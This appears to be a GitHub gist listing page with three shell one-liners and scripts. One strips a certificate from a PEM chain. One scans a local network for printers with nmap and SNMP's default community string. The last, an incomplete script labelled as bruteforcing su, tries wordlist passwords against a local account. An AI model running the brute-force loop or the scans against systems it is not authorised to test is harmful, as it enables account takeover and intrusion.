Skip to content

Instantly share code, notes, and snippets.

@filippolauria
filippolauria / strip_last_cert.sh
Created April 22, 2022 14:20
A bash one-liner to: download a PEM-encoded file containing a chain of certificates from the example URL http://example.com/chain.pem, remove the last certificate from it and save the result in the file chain_wo_last_cert.pem.
wget -qO - 'http://example.com/chain.pem' | sed -Ez 's/(.*\n)-{5}BEGIN CERTIFICATE-{5}.*/\1/' > chain_wo_last_cert.pem
@filippolauria
filippolauria / scan4printers.sh
Last active April 11, 2022 10:03
A simple bash one-liner that, relying on nmap and snmpget, scans for available printers on a given network. The results are sent to standard output and saved in the /tmp directory.
N="192.168.1.0/24" && \
H=$(sudo nmap -sS -sU -T5 -PE -pU:524,631,8611-8614,T:515,524,631,8611-8614,9100 -oG - --open -n $N | grep "/open" | cut -d' ' -f2 | tr '\n' ' ') && \
for p in $(sudo nmap -Pn -T5 -sU -p 161 -oG - --open -n $H | grep "/open" | cut -d' ' -f2); do \
S=$((snmpget -v1 -Ov -cpublic -t0.5 $p .1.3.6.1.2.1.1.1.0 | sed 's/^STRING:\s\+//') 2> /dev/null); \
if [ "$S" ]; then echo -e "$p\t: $S"; fi; \
done | tee /tmp/`date '+%Y-%m-%d'`-printers.txt
@filippolauria
filippolauria / brute_su.sh
Created October 28, 2021 13:20
a short shell script for bruteforcing su
#!/bin/bash
WORDLIST_FILENAME=''
USERNAME=''
TIMEOUT='1.5'
SLEEP='0.5'
for p in `cat $WORDLIST_FILENAME`; do
echo -n "$USERNAME:$p => "
if [ `(echo "$p" | timeout $TIMEOUT su -c whoami $USERNAME) 2> /dev/null` ]